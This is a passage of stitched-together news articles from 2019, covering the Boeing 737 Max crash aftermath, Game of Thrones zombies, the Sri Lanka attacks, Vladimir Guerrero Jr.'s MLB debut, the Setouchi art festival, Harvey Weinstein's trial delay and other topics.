pieces to define a cocoon space within the house. For Fromental, its also about keeping the tradition of craftsmanship alive in a new century. Its not just wall coverings, its a continuation of decorative arts today, Deshayes says of Fromentals history-rooted approach, which made the pairing with Savoir such a natural fit. The craftsmanship is incredible, says Deshayes. And the comfort level? If you sit in one of Savoirs beds, youre ruined for life. After all, the bed isnt just the focal point of the bedroom, its also where we spend up to one third of our lives. Im sure, Deshayes says, if you sleep in a beautiful bed, you have beautiful dreams. Relatives comforted each other as they waited for news after the Lion Air plane disappeared - AP Human remains and personal belongings were still scattered across the site of the Ethiopian Airlines crash a month after it happened, a relative of one of the victims has claimed. The London-based relative, whose sister died in the crash, told The Telegraph she was "horrified" to discover "what appeared to be an arm and a fragment of bone" when she visited the spot where 157 people lost their lives in March. She shared photographs showing children's shoes and other personal effects lying uncollected on the ground, taken 28 days after the tragedy, she said. The relative, who does not want to be identified, also claimed the site wasn't properly secured with gaps in the perimeter allowing people and animals to "freely pass by" where the tragedy took place. "We're still barely managing to believe what's happened but on top of the tragedy to have also no respect at all to the families and the victims and have those items left on the land... it's outrageous," she said. The photos shared with The Telegraph show clothes and other personal belongings at the crash site The claims raise serious questions about how the Ethiopian authorities have managed the aftermath of the tragedy and whether the investigation is as thorough as it could be. Contacted by this newspaper, the Ethiopian embassies in both the UK and the US declined to comment. The horror has added to a build up of frustration among victims' families following the two recent airline tragedies involving the Boeing 737 Max plane. Victims of Indonesia's Lion Air crash, the first of the two involving the model, have launched legal action against the American aviation manufacturer for the wrongful death of their loved ones. Among them is Rini Soegiyono, whose younger sister Niar, 39, was killed along with her state prosecutor husband Andri Wiranofa, 41, on the flight on October 29. Ms Soegiyono, 52, who has been left to raise her nieces, aged just 11 and seven, believes Boeing owes her family and the others taking legal action an explanation for what went wrong. Story continues "The world is also waiting so it is important to know so that it will not happen again. We dont want any other family to have to go through what we are going through, she told The Telegraph. We screamed, we screamed to the world. We had no experience before, we never thought that it will happen to us, to our family because at that time, Boeing said that the plane is safe. The growing number of Indonesian litigants are now fighting for the right to have their cases heard in US courts, rather than in Indonesia, where victim compensation is likely to be much lower. A decision on whether that right will be granted is imminent. Divers recovered the black box from the wreckage of the Lion Air plane Credit: Adek Berry/AFP An apology issued earlier this month by Dennis Muilenburg, Boeings CEO, for the double tragedy, and his admission that a preliminary investigation into the Ethiopian crash revealed that both incidents involved similar errors in automated flight systems, gave victims families renewed hopes for justice. But Brian Kabateck, a high-profile California-based lawyer working on behalf of a dozen Indonesian families including Ms Soegiyonos, said that Boeing owes the crash victims much more than sympathy, adding: They deserve their day in a United States courtroom. Lion Air flight 610 disappeared from the radar screens 12 minutes after take-off and all 189 passengers and crew were lost. Less than five months later, on March 10, a second Boeing 737 Max jet, Ethiopian Airlines Flight 302, nosedived into a field six minutes after take-off from Addis Ababa leaving no survivors. Even after the second crash, Boeing insisted that the 737 MAX was safe, and was willing to continue to gamble with the lives of the flying public while furiously working behind the scenes on a software fix, Mr Kabateck alleged. Boeing declined to comment on the current litigation, referring The Telegraph to general public statements on its website. For the families of the Ethiopian Airlines victims, the ordeal continues as they await reassurances that everything possible has been done to recover the personal belongings of their loved ones. More than 150 people were killed in the Ethiopian Airlines crash Credit: Eduardo Soteras/AFP The relative said she travelled to the crash site on April 7, almost a month after the tragedy, to be put at ease that the site had been thoroughly excavated after seeing pictures of chaotic scenes in the media. But to her dismay, she claimed the area was not properly secured and victims' belongings had been left unattended and exposed to the elements. She described the personal horror of flicking through the debris looking for a trace of her sister, a young aid worker. "I spent almost two hours looking for anything belonging to my sister and that's the last thing I would wish for anybody. I literally searched every single spot to find something pertaining to her," she told The Telegraph. "We found what we believe to be remains of human bones, which were then handed over to the guards in a military tent, just outside the site of the crash," she said. She added that to her shock the guards simply used a plastic bag lying on the ground to remove them, ignoring the "minimum standards and procedures" typically applied to the scene of a fatal accident. "I'm concerned that for them [the authorities] the search is finished. It is distressing to see that all the items that can mean the world to a suffering family are still on the ground, just waiting to be collected rather than being searched for," she said. "There's a risk for the families of not retrieving anything from their loved ones' belongings." Photo credit: Courtesy HBO - HBO From Popular Mechanics In the final episode of Season 7 of Game of Thrones, the Night King uses a terrifying weapon-the recently deceased dragon Viserion, now reanimated-to destroy the massive, magic-infused Wall that has for millennia stopped the White Walkers from invading Westeros. As the Army of the Dead lumbers through the gap, its pretty clear: Winter is here. Weve only seen the Army of the Dead in action a few times now: Hardhome, in Season 5, and Season 7s epic Wight Hunt, but it seems like Episode 3 of Game of Thrones final season is setting us up for an absolutely titanic clash at the Starks ancestral home of Winterfell. But wights-or zombies to use a more common parlance-arent just a well-worn trope for fantasy writers. The possibility of reanimating dead tissue-including braaaaains-has challenged neurobiologists around the world. So what are the wights, how do they work, and why does an entire army psychically linked together seem to be controlled by just one mind-the Night King? What Kind of Zombies? First off, are wights zombies at all? There are actually two types of zombies, the shambling dead-as representing George A. Romeros classics-and the zombies of Haitian legend. Theres the socio-cultural definition of zombie from tales in Haitian voodoo, where someone was put into a state similar to death and then brought back to life, says Bradley Voytek, avid Game of Thrones fan, neuroscientist at the University of California-San Diego, and co-author of Do Zombies Dream of Undead Sheep , which uses zombies as the basis for an introduction to serious neuroscience. In his book The Serpent and the Rainbow, anthropologist Wade Davis controversially documented the case of Clairvius Narcisse, a Haitian man who re-appeared almost 20 years after he was declared dead at a hospital, claiming hed been brought back to life by a bokor, or sorcerer. Davis theorized that Narcisse hadnt died, but had been put into a coma-like state by a powerful neurotoxin and then revived. Story continues Skepticism over Wades claims aside, there are other examples of zombie-like behavior in nature: a parasitic fungus called ophiocordyceps can infect the brains of carpenter ants and control their behavior. The Jewel Wasp uses a neurotoxin to turn cockroaches into willing hosts for its larvae (an Ecuadorian wasp does much the same with a species of spider). And toxoplasmosis gondii, a parasite that only reproduces in cat intestines, lives on rodents and works essentially by removing their fear of cats, which is how the parasite ends up inside the cat, where it can procreate. But the Night King isnt a pufferfish or parasitic fungi; hes just bringing the dead back to life with good old magic. In the case of the Wights, says Voytek, its clear that were dealing with a classic, beyond-the-grave zombie. Zombies Eat Brains, But Do They Need Brains? With wights firmly classified as dead zombies, next we figure out how they work. Last week, in a paper in Nature, researchers detailed a similar experiment, where they were able to restart some cellular activity in the brains of pigs whod been dead for hours. At no point did we observe the kind of organized electrical activity associated with perception, awareness, or consciousness, said co-author Zvonimir Vrselja. Restoring signs of life without consciousness? Sounds like a zombie to us. But the Army of the Dead has some puzzling elements for Voytek. Lets start with the fact that some of them are pretty much walking skeletons that dont appear to have a lot of soft tissue left. How can there be neuroscience if theres no brain? Its pretty clear that some of the wights have been dead a long time and without tissue youre out of the realm of science, he says. While these boney wights defy neuroscience, you don't need much of your brain to perform certain functions. You have about 86 billion neurons in your brain, and in some parts of it you can lose millions of them and without a careful medical exam, you might not even notice, Voytek says. In other parts, you could lose just hundreds and die. If your brain stem is damaged, that controls respiration, so youre not coming back. The cerebellum, by contrast, has roughly half the total neurons in the brain, and yet people can survive with severe damage to it. The cerebellum, incidentally, might explain the signature slowness zombies are known for. Classic horror movie zombies like Romeros are called slow zombies because they mostly lurch and lumber around (thats compared to fast zombies like in World War Z). Voytek suggests lumbering is akin to a kind of ataxia, which can happen if the cerebellum, which controls movement, is severely damaged. But the Army of the Dead is both fast and slow. I was confused by that because theyre slow and lumbering but then in battle theyre pretty adept and fast, says Voytek. Photo credit: Courtesy HBO - HBO A possible explanation: when you learn a new skill-like swordfighting or, for Viserion, flying-lots of different areas of the brain are involved. But once its learned, the skill becomes a habit and moves to a different area of the brain, says Voytek. So it could be that they can still fight so well in battle and move quickly because the brain structures involved in those previous habits are intact. Voytek went on to consult primary sources regarding a zombies speed, once asking Romero at a comic convention why zombies were so slow. Here I am, a PhD neuroscientist, and he must think Im the dumbest person hes ever talked to, says Voytek. He looks at me and just says, Because theyre dead! Fighting Zombies With Fire Like most zombies, wights can also sustain heavy damage from weapons without seeming to feel pain. Jon Snow literally cuts one in half in front of Cersei and the thing still keeps coming. But when wights are set on fire, they not only die, but shriek in apparent pain in the process. There are very few things that humans respond to instantaneously the way we do to pain from heat or something sharp, says Voytek. But its not inconsistent that wights might feel one but not the other. The pain from heat and sharpness are carried by two different pathways, he points out. Perhaps the sharp pathway is damaged, but the neural path for transmitting heat pain is somehow intact. And, they can communicate. Remember in the Wight Hunt when the captured wights wordless calls attract attention from the other dead? Thats a common trope in zombie films, says Voytek. Zombies dont talk, but they do verbalize, and they can hear and detect things like a human crying, so theres a prototype of communication there. Perhaps they have a damaged occipital lobe, which affects their ability to verbalize, but the temporal lobe that processes auditory inputs is more intact. Questions Left Unanswered But the most puzzling aspect might be their actions. Weve seen that the wights wont cross open water, even though they cant exactly drown, but then willingly plunge into holes in the ice trying to get to Snows wight-hunting party, which suggests something is controlling their actions. So what is exactly the Night Kings relationship with his undead horde? Once again, nature might hold the answer: the neurobiological phenomenon known as the hive mind, found famously in the most industrious of the worlds creatures-the ant. Voytek isnt an expert on collective social behavior, but sees some similarities between zombies and nature. (Ant) brains are so tiny but acting in coordination they can do amazing things like build bridges across little streams with their bodies, Voytek says. Its pretty evident the way that wights are portrayed in the show that their survival instinct is collective, not individual. Voytek thinks that might explain why the wights are heedless in some instances and cautious in others-the Night King is trying to preserve his army, because it needs more corpses to grow. In the Wight Hunt, when Snow kills a White Walker with Longclaw, his Valyrian steel sword, almost all the wights around him die too, perhaps because that Walker controlled them or reanimated them from corpses. That gives us a clue to their possible defeat, when Beric Dondarrion points to the Night King and says to Snow, Kill him. He turned them all. Neuroscience cant explain everything about wights or zombies-at least not yet. ('You Might Also Like',) Pierce Bush, the grandson of late President George H.W. Bush, may try to follow in his grandfather's footsteps. Bush, CEO of Big Brothers Big Sisters Lone Star, said in a statement that he is "seriously considering running" in 2020 for the 7th Congressional District, which is located in the Houston suburbs. George H.W. Bush held the seat in the late 1960s. "Leaders in our community have encouraged me to run for Congress in the 7th district. I am flattered and seriously considering running," Pierce Bush said in a statement to USA Today. "As the CEO of Big Brothers Big Sisters, I have seen an enormous amount of pain in our community yet it seems the politicians can't or won't work together to solve the problems at hand." Pierce Bush speaks onstage at the UNICEF Audrey Hepburn Society Ball honoring former first lady Barbara Bush at the Hilton Americas Hotel on November 6, 2015, in Houston, Texas. An interactive guide: Who is running for president in 2020? Bush, 33, is the son of businessman Neil Bush. There is currently only one member of the Bush Family in elected office: Texas Land Commissioner George P. Bush, son of former Florida Gov. Jeb Bush. The Houston-area seat is currently held by Rep. Lizzie Pannill Fletcher, who defeated incumbent John Culberson during the 2018 midterms. Fletcher, the first Democrat to hold the seat since 1964, raised nearly $583,000 during the first quarter. In this 2003 photo, former President George H.W. Bush shares a laugh with his grandson Pierce Bush at the Houston Astros season opener against the Colorado Rockies. Jim McGrath, longtime spokesman for the Bush family, confirmed that Bush is considering a bid. More: 2020 Democrats pressed for detailed policies and priorities by women of color I can confirm this is not fake news, he tweeted along with a Texas Tribune article, who first reported Bush was considering a bid. Pierce Bush, however, continued to caution that he has not yet made a decision. "Regardless of my decision to run for this important seat, I will always find ways to work with people to solve these issues and unlock the God-given potential that exists in the good people of our community," he said in the statement. This article originally appeared on USA TODAY: The next Bush generation: Pierce Bush considering run for grandfather George H.W. Bush's former Congress seat Berlin (AFP) - Germany has stopped processing some applications for asylum by Syrian refugees, pending a new assessment of the security situation in the war-torn country, according to a report on Saturday. German media group Funke, quoting the interior ministry, said decisions on some asylum applications from Syrians have been 'postponed' with changes expected to be made to ministry guidelines. Delegations from Iran, Russia and Turkey met in Kazakhstan on Thursday seeking an end to the Syrian conflict. As a consequence of the Germany's halting of some asylum applications, refugee organisations fear Angela Merkel's government will reject more applications from Syria if there is no longer armed conflict there, say Funke. According to the Funke report, those affected are asylum seekers awarded "subsidiary protection" -- exposed to serious danger, acts of war, the death penalty or torture in their home country. According to government figures, 17,411 Syrians were awarded the status in 2018. Germany has been deeply polarised by Chancellor Angela Merkel's 2015 decision to open the country's borders to those fleeing conflict and persecution at the height of Europe's migrant crisis. Since then, the influx of over a million asylum seekers -- mainly from Syria, Iraq and Afghanistan -- has fuelled the rise of the far-right, anti-Islam AfD party. The civil war in Syria has killed more than 370,000 people and displaced millions since it started with the brutal repression of anti-government protests in 2011. Department of Justice inspector general Michael Horowitz announced in March 2018 that his office was reviewing the DOJs and FBIs compliance with legal requirements, and with applicable DOJ and FBI policies and procedures, in applications filed with the U.S. Foreign Intelligence Surveillance Court (FISC) relating to a certain U.S. person. In other words, he was asking whether the agencies abused their power in getting warrants to surveil (by then, former) Trump-campaign foreign-policy adviser Carter Page. More than a year later, we still dont know much about the course of the IGs investigation. But that may finally be changing. Horowitz has one of the best-caulked tubs in town: His team doesnt leak. But thats not the only reason info on the Horowitz investigation has been so hard to come by. In addition, his job doesnt entail bringing revealing indictments along the way. Robert Muellers shop wasnt particularly leaky either, but long before the special counsel filed his final report, we had learned a lot about where that report was headed. We learned it from looking at who got indicted, what they were indicted for, and the many details in each indictment and descriptive criminal information. Those who were paying attention to the special counsels various prosecutions couldnt help but notice that Paul Manafort was jailed for sundry financial improprieties and sheer tackiness (dont forget the ostrich jacket), but not for conspiring with Russia. Similarly, when the special counsels office brought a raft of indictments against a group of Russian-military-intelligence hackers, missing was any knowing connection between team Trump and the accused. Indeed, so professional were the hacking operations described in Muellers indictment of the Russians that it is hard to imagine what the hackers could possibly have needed from the amateurs in Trumps orbit. Such details led many to surmise that Mueller had yet to find collusion, deductions that proved correct. Story continues No such intermediate actions have been taken by IG Horowitz, which has left us in the dark about what sort of report he is preparing. The IG is trying to establish how the counter-intelligence investigation into the Trump campaign got started. That much we know. What we havent had any idea about is just how tough Horowitz is willing to be with DOJ and FBI officials should he discover they abused their power. There have been reasons to doubt he would be very tough. Recall how the IGs report on the Hillary Clinton email investigation went out of its way to avoid damaging conclusions. Horowitz catalogued the compendious anti-Trump texts sent between FBI agent Peter Strzok and bureau lawyer Lisa Page, but he determined he could not prove their attitudes and opinions biased their official actions. Though these messages cast a cloud over the email investigation, Horowitz wrote, we did not find documentary or testimonial evidence that improper considerations, including political bias, directly affected the specific investigative decisions we reviewed. In other words, short of a memo from Strzok admitting his aversion to Trump was the reason for particular actions, Horowitz was not willing to declare there had been political bias in play. It may be different this time around. Natasha Bertrand is a reporter with extensive sources among the cadres of senior DOJ and FBI elites who have been fired, been demoted, or retired in the last couple of years. These are the very people who are the objects of the IGs efforts, and they dont like where things are headed. Former U.S. officials interviewed by the inspector general were skeptical about the quality of his probe, Bertrand wrote in Politico last week. They emphasized to Horowitz that information in a warrant application need not be wholly verified, as long as the reliability of the source of the information is disclosed to the court. Democrats have insisted that the FISA court was given fair warning that Christopher Steeles dossier was opposition research; Republicans have scoffed at the way Steele working for the Clinton campaign was described: The FBI speculates that the identified U.S. person [Steele] was likely looking for information that could be used to discredit Candidate #1s [Donald Trumps] campaign. Horowitz seems to have been unpersuaded that weasel words such as speculates and likely looking fulfilled the Justice Departments obligations to the FISA court. Or as the unhappy former officials put it, the inspector general seemed neither well-versed in the FISA process nor receptive to the explanations. Not only is the IG misinformed, according to Bertrands sources, hes prickly. Consider this description of Horowitzs frame of mind regarding demoted DOJ attorney Bruce Ohr: The Inspector General is apparently irked by Ohrs decision to maintain contact with Steele after the bureau temporarily cut ties with the British operative in October 2016. Bertrand wrote. Not concerned. Not disturbed. Not alarmed. No, the IG is irked, a word that conveys an unprofessional personal pique. Add up all this criticism that the IGs probe is of dubious quality; that Horowitz exposed his ignorance of the FISA process; that he is too hardheaded to listen to explanations; that the IG is prone to being irked and what comes through isnt a frustration with Horowitzs failures, but fear of what he may do. Thus the need to discredit him preemptively. That it hasnt worked yet doesnt mean the former U.S. officials wont keep trying. More from National Review Sir Mark Rowley said it is a 'disgrace' that if you google 'UK Muslim spokesman', it leads you to hate preacher Anjem Choudary (Picture: AP Photo/Tim Ireland) A former head of UK counter-terrorism has hit out at social media algorithms, saying it is a disgrace that a google search for British Muslim spokesman leads you to radical hate preacher Anjem Choudary. Sir Mark Rowley said social media companies are still not doing enough to battle the spread of extremist propaganda and their progress is completely insufficient. The former Assistant Commissioner for Specialist Operations of the Metropolitan Police Service was speaking on Radio 4s Today programme in the wake of the terror attacks in Sri Lanka that left more than 200 people dead. Sir Mark said more needs to be done to address the way extremist propaganda is propagating through the world. Mark Rowley said social media giants must do more to battle extremism (Picture: Getty) I think the issue is now that because its open source, because its spread through propaganda, the seeds of extremist propaganda are scattered to the winds of the internet, he said. Those can land in all parts of the world, in individual minds, or in local groupings and grab on to local grievances, as perhaps has happened in Sri Lanka where youve got a Muslim group with local grievances... and theyve hooked onto Isis propaganda perhaps and probably been influenced by them in their choice of targets. READ MORE Off-duty police officer stabbed on his own doorstep Pug rescued after falling 40m down a well Girl jailed for life after stabbing boyfriend through heart Asked whether he agrees that social media giants should be doing more to address the way their algorithms deal with extremist material, he said: The algorithms are designed to push us towards contentious material because that feeds their bottom line in terms of revenue through advertising. The contentious is often the extremis, so they are pushing readers towards extremist material. If you google British Muslim spokesman, you get Anjem Choudary, thats a disgrace. Women use mobile application software on smartphone phone . Sir Mark said he backed the stance by the Home Affairs Committee, which this week criticised social media companies for a lack of action. Story continues He said: Of course these companies are making progress in terms of what they do but with the scale and pace of the problem their progress is in my view completely insufficient. Regardless of them getting better at cleaning material up, its not good enough, theres still plenty of it out there and it stays out there too long. For a long time, myself and my successor have been making the point that even when they find criminal terrorist material theyre not reporting it to law enforcement which is a massive impediment to what we do. Sir Marks comments come after Prince William referred to social media in a speech in Christchurch following terror attacks on two mosques. He said: Extremism in all its forms must be defeated. The message from Christchurch and the message from Al Noor and Linwood mosques could not be more clear - the global ideology of hate will fail to divide us. And just as New Zealand has taken swift action to ban physical tools of violence, we must unite to reform the social technology that allowed hateful propaganda to inspire the murder of innocents. ---Watch the latest videos from Yahoo UK--- * Easter Sunday bombs at hotels, churches kill 253 * Government urged Muslims not to attend Friday prayers * Many defy order amid tight security around mosques By Joe Brock COLOMBO, April 26 (Reuters) - As the Islamic call to prayer echoed through the subdued streets of Sri Lanka's capital Colombo, crowds of Muslims were greeted with an unusual sight: their golden-domed Mosque flanked by soldiers armed with assault rifles. Security has ballooned in the seaside capital since a series of coordinated suicide attacks at hotels and churches on Easter Sunday killed 253 people and sent shockwaves through an island state that had enjoyed a decade of relative peace. Nearly 10,000 soldiers were deployed across the Indian Ocean island state to carry out searches and provide security for religious centers. Fears of retaliatory sectarian violence have already caused Muslim communities to flee their homes amid bomb scares, lockdowns and security sweeps. But at the Kollupitiya Jumma Masjid mosque, tucked in between sleepy side streets, hundreds defied government calls to stay at home, attending a service they say was focused on a call for people of all religions to help return peace to Sri Lanka. "It's a very sad situation," said 28-year-old sales worker Raees Ulhaq, as soldiers hurried on dawdling worshippers and sniffer dogs nosed their way through pot-holed lanes. "We work with Christians, Buddhists, Hindus. It has been a threat for all of us because of what these few people have done to this beautiful country." Sunday's bombings shattered the relative calm that has existed in Buddhist-majority Sri Lanka since a civil war against mostly Hindu ethnic Tamil separatists ended 10 years ago. Sri Lanka's 22 million people include minority Christians, Muslims and Hindus. Muslims and Christians have largely lived peacefully side-by-side, immune from much of the tension that exists between the religious groups in many parts of the world. Story continues Most Sri Lankans are praying that the church blasts five days ago will not open up irreversible rifts. "Not all Muslims are terrorists," Abdul Waheed Mohamed, a 43-year-old engineer, said after leaving Friday prayers. "Every day since this carnage happened, me, my family, and all, we are praying to God, please bring us peace." (Reporting by Joe Brock; Editing by Nick Macfie) TORONTO (AP) Vladimir Guerrero Jr. helped spark a walk-off celebration for the Toronto Blue Jays in his major league debut. Guerrero doubled leading off the ninth inning for his first hit, and Brandon Drury followed with a winning two-run homer with two outs in a 402 win over the Oakland Athletics 4-2 on Friday night. "Just the way I dreamed it," Guerrero said. Guerrero was showered with beer and almond milk after the game in the clubhouse. On the field, he dumped a sports drink over Drury. "It was awesome," Blue Jays manager Charlie Montoyo said. Guerrero, the 20-year-old son of Hall of Famer Vladimir Guerrero, is considered the top prospect in the major leagues. He arrived at Rogers Centre in a replica Montreal Expos jersey to honor his father, who was on hand. He grounded out in the second, was robbed of an extra-base hit by left fielder Stephen Pinder's leaping catch in the fourth, then flied out to right in the sixth. "He's a great player," Drury said. "You can see by his at bats the game kind of comes easy to him. We're all super excited to have Vladdy in this lineup." Guerrero hit an opposite-field double down the right-field line on a 2-2 fastball from Yusmeiro Petit (0-1). Billy McKinney sacrificed pinch-runner Alen Hanson and, with the infield in, Teoscar Hernandez lined out to second baseman Jurickson Profar. Drury followed with a drive over the center-field wall to stop an 0-for-12 slide. Guerrero, arm raised, was the first Blue Jays player out of the dugout to celebrate. "It feels great," said Drury, who talked Montoyo out of giving him a day off. "I always feel like I'm one swing away from getting my bat going. I never want to take a day off, I want to be in there every day." Ken Giles (1-1) struck out two in a one-hit ninth. Eric Sogard's first-inning homer and Randal Grichuk's third-inning RBI single built a lead off Mike Fiers, but Robbie Grossman hit a two-run homer in the eighth off Joe Biagini. Story continues Guerrero missed the start of the season after an oblique injury in spring training. He played four rehab games at Class A Dunedin before moving up to Triple-A Buffalo, where he hit .367 with three homers and eight RBIs in eight games. "People don't understand how good of a hitter this guy really is," Blue Jays right-hander Marcus Stroman said. "He's way ahead of his years." Oakland manager Bob Melvin said he was impressed with Guerrero's performance at the plate. "He looks like he has a good swing, an aggressive swing," Melvin said, "Looks like there's some power behind it." By delaying Guerrero's debut until Friday, the Blue Jays ensured his maximum service time this year would be 157 days - 15 days shy of being eligible for free agency after the 2024 season. The few hundred fans already inside the stadium clapped and cheered as Guerrero launched several long drives. A crowd of 28,688 rose for a standing ovation as Guerrero led off the bottom of the second. Guerrero worked the count to 2-2 as fans chanted "Let's go, Vladdy!" On the fifth pitch, he hit a sharp grounder to first baseman Kendrys Morales, who made the play unassisted. The exit velocity was 106.8 miles per hour. The 20-year-old batted fifth and played third base and wore No. 27, the number retired in honor of his father by the Los Angeles Angels. "Since I was a kid I was running around with my dad in the clubhouse in Montreal," Guerrero said in an afternoon news conference. "I just wanted to bring that back today." Even Canadian Prime Minister Justin Trudeau noted the debut on Twitter with a message attached to a Tweet from the elder Guerrero. Guerrero's famous father watched as his son's batting practice was broadcast live on Sportsnet, the Canadian network operated by team owner Rogers Communications. FOR YOU, DAD Guerrero said he planned to give his father the lineup card from his debut, as well as the bat and ball from his first hit. AMPED FOR THE A's All three of Drury's homers this season, and all five of his RBIs, have come against the Athletics. TRAINER'S ROOM Athletics: 1B Matt Olson (broken right hand) took batting practice for the first time since he was injured March 21 during Oakland's opening series in Japan. Blue Jays: Blue Jays GM Ross Atkins said minor league SS Bo Bichette will not need surgery to repair a broken bone in his left hand, an injury that happened when he was hit a pitch Monday. Bichette is expected to miss four to six weeks. ... Toronto optioned INF Richard Urena to Triple-A Buffalo to make room for Guerrero. Montoyo said Urena was sent down because Toronto doesn't believe INF Freddy Galvis (left hamstring) will need to go on the injured list. UP NEXT Athletics: LHP Brett Anderson (3-1, 3.04) is 0-2 with a 3.72 ERA in three career starts against Toronto. Blue Jays: RHP Aaron Sanchez (2-1, 2.77) left his previous start, April 21 at Oakland, because of a broken fingernail on his middle finger. ___ More AP MLB: https://apnews.com/MLB and https://twitter.com/AP_Sports Photo: Nine Giant Brewing/Yelp Visiting Pleasant Ridge, or just looking to better appreciate what it has to offer? Get to know this Cincinnati neighborhood by browsing its most popular local businesses, from a craft brewery to a rotisserie chicken spot. Hoodline crunched the numbers to find the top places to visit in Pleasant Ridge, using both Yelp data and our own secret sauce to produce a ranked list of neighborhood businesses. Read on for the results. 1. Nine Giant Brewing Photo: nine giant brewing/Yelp Topping the list is gastropub and brewery Nine Giant Brewing. Located at 6095 Montgomery Road, it's the highest-rated business in the neighborhood, boasting 4.5 stars out of 183 reviews on Yelp. 2. Loving Hut Photo: brianne z./Yelp Next up is vegan and vegetarian spot Loving Hut, situated at 6227 Montgomery Road. With 4.5 stars out of 186 reviews on Yelp, it's proven to be a local favorite. 3. Revolution Rotisserie & Bar Photo: brian r./Yelp Check out Revolution Rotisserie & Bar, which has earned four stars out of 122 reviews on Yelp. You can find the traditional American spot and bar at 6063 Montgomery Road. 4. Pleasant Ridge Chili Photo: Khiemo S./Yelp Finally, there's Pleasant Ridge Chili, a local favorite with four stars out of 120 reviews. Stop by 6032 Montgomery Road to hit up the breakfast, brunch and lunch diner next time you're in the neighborhood. This story was created automatically using local business data, then reviewed and augmented by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. The festival inspires people to notice the islands, says Taiwanese artist Wang Wen-Chih. Hes walking me through his artwork, Love in Shodoshima, a magnificent woven bamboo structure, one of the many installations which is in the process of being erected on the island of Shodoshima ahead of the Setouchi Triennale, a nine-month art fair that transpires across the islands of Japans Seto Inland Sea. First established in 2010, the Triennale runs every three years, and since its inception has grown exponentially. This year, over one million people are expected to attend. The festival is important for the local people, as well as the local economy, says Wen-Chih, who is partaking in the fair for the third time. The Seto Inland Seas islands may have become known for their art offerings, but they present so much more than just that. Cloaked with wild vegetation and cherry blossom trees that bloom in early spring and surrounded by swirling aquamarine waters, the islands are peaceful and beautiful. Though many of them were industrialized during the countrys rapid growth (many of the towns have looming ports and commercial buildings), a collection of locals (namely billionaire businessman Soichiro Fukutake) have made it their mission to turn these forgotten islands into artistic attractions. The islands most desirable drawing cards? The Teshima Art Museum, Benesse House Museum (which has works by Basquiat and Hockney), Chichu Art Museum (which features works from Monets "Water Lilies" series), and, of course, the Setouchi Triennale. Now, the islands are high up on the tourist map. It filters into the economy and helps the older people [who live here] feel a new energy, says Wen-Chih. Noshima in Seto Inland Sea, Japan Photo by Paprikaworks. Image courtesy of Getty. Wondering if you can swiftly visit 12 art islands in a few days? Heres how. Know before you go: How do you even get there? United offers direct flights from New York and Los Angeles to Tokyo. Then, from Tokyo, its a short 1.5 hour flight with partner airline ANA directly into the main city of Takamatsu. Story continues Then what? Lock in your dates! The fair occurs over nine months in three parts: April 26May 26, July 19August 25, and September 28November 4. There are 12 islands involved, connected by ferries that leave from the various ports throughout the day. Once on the islands, the best way to get around is by bus (these can be infrequent), walking (this can be time consuming), or biking (bikes are usually available for rent at the port). Because endless vacation days arent available to all of us, consider selecting a few islands to highlight. You can either stay on the islands or make Takamatsu, the main port city on Shikoku Island, your base. Auberge de Oishi, a French-style hotel set in a Brutalist building on the water in Takamatsu, is a short cab ride from the main port where ferries run all day. It sounds daunting: figuring out the ferry schedule for 12 different islands and visiting numerous art sites, all in a language you probably dont speak. For those who want the swiftest possible travel option, InsideJapan offers group-itinerary guided visits and self-guided adventures mapped out by expert guides. They also offer a Ferry Passport, for which they help reserve and arrange ferry transportation between the islands. For the intrepid traveler, the Setouchi Triennale has an official app and website with loads of nitty-gritty details regarding ferry times, entrance fees, etc. Short on time? Whatever you do, dont miss these islands: Photo by Daisuke Aochi. Naoshima Ever seen an image of Japanese artist Yayoi Kusamas red pumpkin set against a shockingly blue ocean? That would have been taken on the island of Naoshima, the Seto Inland Seas cash cow. Even out of festival season, people flock to Naoshima to see the impressive Benesse House museum, Chichu Art Museum, and Ando Museum, majestic cement buildings designed by starchitect Tadao Ando. Walking or biking around the island is recommended because there are so many cultural elements to see. Staying over? Book into the exclusive Benesse House, which is connected to the museum and has jaw-droppingly good views of the glimmering sea. Image courtesy of Yui Ishiya. Teshima The Teshima Art Museum, a wispy gray curved building that effortlessly settles into Teshimas green landscape, is the number one reason to visit the island. That, and Shima Kitchen, a restaurant located in an old vacant house that was redesigned by Atelier Ryo Abe Works. Here, diners feast on local produce created by locals while watching shows and musical concerts. In Teshimas port area, guests can stay at Yui, a simple Muji-like inn opened by Keiko Tada, who left Tokyo in search of a simpler life. Biking and walking are the recommended modes of transport here, but know that the island is hilly, so electric bikes are a must. Image courtesy of Art base Momoshima. Shodoshima Shodoshima is better known as Japans soy sauce and olive-producing island (its the only place in Japan that can grow olives) than an art island, but it's also swarming with various installations by artists from the region (the locations of the installations can found in the guide book). The island is more built up that Naoshima and Teshima, but can still be traveled by bus and bike. Stay over at Island Ryokan Mari, a traditional ryokan that has baths (communal and private) and offers a quintessential Japanese lodging experience. Image courtesy of Art Base Momoshima. Momoshima Momoshima isnt technically part of the Setouchi Triennale, but if youre traveling all the way to the Setouchi region, it should be marked on your itinerary. A short ferry ride (approximately 30 minutes) will get you from the port town of Onomichi in Hiroshima to the tiny island of Momoshima, which has a dwindling population of 300 residents. Once you're off the ferry, its a short ten-to-15-minute walk to Art Base Momoshima, a multidisciplinary gallery opened in an old high school by Japanese artist Yukinori Yanagi. There are next to no restaurants on the remote island, but the gallery has a quaint cafe. Oh, and be sure to call ahead (ask InsideJapan or your hotel to do so). Accommodation is limited, so while the gallery works on its small guesthouse (it will open next year), stay at Hotel Cycle, a cyclecentric hotel in the cool U2 lifestyle development in Onomichi, which offers moody, masculine rooms that look over the waterfront. By Gene Maddaus LOS ANGELES (Variety.com) - Harvey Weinstein's rape trial has been postponed to Sept. 9, a judge ruled on Friday. The disgraced producer had been set to go on trial on June 3, but Justice James Burke agreed to give the defense additional time to prepare. Weinstein is accused of five counts of rape and sexual assault, involving two victims, and could face life in prison if convicted. Earlier Friday, Burke ordered the courtroom closed for an argument on a prosecution motion to allow additional women to testify in the case. Robert Balin, an attorney representing more than a dozen media outlets, protested that the hearing should be open to the public, and vowed to appeal Burke's ruling. The media was allowed back into the courtroom on Friday afternoon for a discussion of scheduling matters. The prosecution expects its portion of the case to take about three weeks, while defense attorney Jose Baez estimated he would need one week to put on a defense. Jury selection is expected to take about two weeks. Weinstein was originally supposed to go on trial in May, but he fired his lead attorney, Ben Brafman, in January, causing a delay. Weinstein is accused of sexually assaulting Mimi Haleyi, a former production assistant, at his home in 2006. He is also accused of raping an unidentified woman at a hotel room in Manhattan in 2013. Prosecutors want to call additional women with similar allegations to help establish a 